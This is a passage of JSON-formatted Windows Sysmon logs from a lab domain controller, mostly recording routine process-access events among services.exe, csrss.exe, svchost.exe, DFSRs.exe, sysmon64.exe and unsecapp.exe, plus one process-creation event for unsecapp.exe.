11:49:56.370","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1280","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1152,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.371\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.371","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1153,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.372\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 916\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.372","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"916","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1154,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.373\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.373","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1155,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.382\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2596\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.382","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2596","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1156,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.384\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001029250200}\r\nProcessId: 3124\r\nImage: C:\\Windows\\System32\\wbem\\unsecapp.exe\r\nFileVersion: 10.0.14393.2515 (rs1_release_1.180830-1044)\r\nDescription: Sink to receive asynchronous callbacks for WMI client application\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: unsecapp.dll\r\nCommandLine: C:\\Windows\\system32\\wbem\\unsecapp.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=2E49BB6C9F6599F518FE30BE2F000247,SHA256=20F499D581CF4AF331D8EC8B1E07A32CC1A695EF6790B51DA5EE223C5867154F,IMPHASH=A3CC49DF67C2278F822C9EBB9908BF09\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.384","ProcessGuid":"{90617006-3FE4-5F2D-0000-001029250200}","Image":"C:\\Windows\\System32\\wbem\\unsecapp.exe","FileVersion":"10.0.14393.2515 (rs1_release_1.180830-1044)","Description":"Sink to receive asynchronous callbacks for WMI client application","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"unsecapp.dll","CommandLine":"C:\\Windows\\system32\\wbem\\unsecapp.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=2E49BB6C9F6599F518FE30BE2F000247,SHA256=20F499D581CF4AF331D8EC8B1E07A32CC1A695EF6790B51DA5EE223C5867154F,IMPHASH=A3CC49DF67C2278F822C9EBB9908BF09","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1157,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.384\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001029250200}\r\nTargetProcessId: 3124\r\nTargetImage: C:\\Windows\\system32\\wbem\\unsecapp.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.384","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001029250200}","TargetProcessId":"3124","TargetImage":"C:\\Windows\\system32\\wbem\\unsecapp.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1158,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.384\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001029250200}\r\nTargetProcessId: 3124\r\nTargetImage: C:\\Windows\\system32\\wbem\\unsecapp.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.384","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001029250200}","TargetProcessId":"3124","TargetImage":"C:\\Windows\\system32\\wbem\\unsecapp.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1159,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1160,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.392\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001029250200}\r\nTargetProcessId: 3124\r\nTargetImage: C:\\Windows\\system32\\wbem\\unsecapp.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 